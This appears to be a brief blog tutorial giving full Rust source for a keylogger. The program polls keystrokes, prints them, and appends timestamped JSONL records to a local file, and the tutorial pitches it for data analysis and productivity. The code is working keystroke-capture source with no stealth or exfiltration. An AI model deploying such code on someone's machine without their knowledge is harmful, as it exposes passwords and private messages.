Introducing how to create a keylogger with Rust.
A keylogger is a program or tool that records keyboard input. From a security perspective, keyloggers are often considered a type of malware, but there are many use cases beyond security.
For example, by recording user input, you can use it for data analysis and machine learning based on user or your own input, or it can be utilized as a productivity tool. Or you could use it as a macro tool that implements shortcut keys or hotkeys based on keyboard input.
The benefits of creating a keylogger with Rust include that Rust, like C, is a low-level language, so there are many libraries available for capturing keyboard input. Also, since Rust has higher memory safety compared to C, you can avoid issues like memory leaks and buffer overflows when creating a keylogger.

Creating a Keylogger Tool with Rust
Below is the source code for the program.
use chrono::prelude::*;
use device_query::{DeviceQuery, DeviceState};
use std::fs::OpenOptions;
use std::io::Write;
use serde::Serialize;
#[derive(Serialize)]
struct Log {
unix: i64,
delta: i64,
keyboard: Vec<String>,
}
/// Keylogger launch function
pub fn run(path: String) {
let device_state = DeviceState::new();
let mut prev_keys = vec![];
let mut prev_date: DateTime<Local> = Local::now();
let path = format!("{}.jsonl", path);
let mut file = OpenOptions::new()
.create(true)
.append(true)
.open(path)
.expect("Failed to open file");
loop {
let local: DateTime<Local> = Local::now();
let unix = local.timestamp_millis();
let delta = local.timestamp_millis() - prev_date.timestamp_millis();
let keys = device_state.get_keys();
if keys != prev_keys && !keys.is_empty() {
let log = serde_json::to_string(&Log {
// time: local,
unix,
delta,
keyboard: keys.iter().map(|key| key.to_string()).collect(),
}).unwrap();
println!("{}", log);
writeln!(file, "{}", log).expect("Failed to write to file");
prev_date = local;
}
prev_keys = keys;
std::thread::sleep(std::time::Duration::from_millis(10));
}
}
Save the above to a file (for example main.rs) and run it with cargo run to record keyboard input.
Logs are saved in JSONL format. JSONL format is a text file where each line is a JSON object. JSONL format has characteristics of being smaller in file size and faster to read compared to JSON format. Itโs also easy to parse, so it can be connected to data analysis and machine learning.
That concludes the introduction.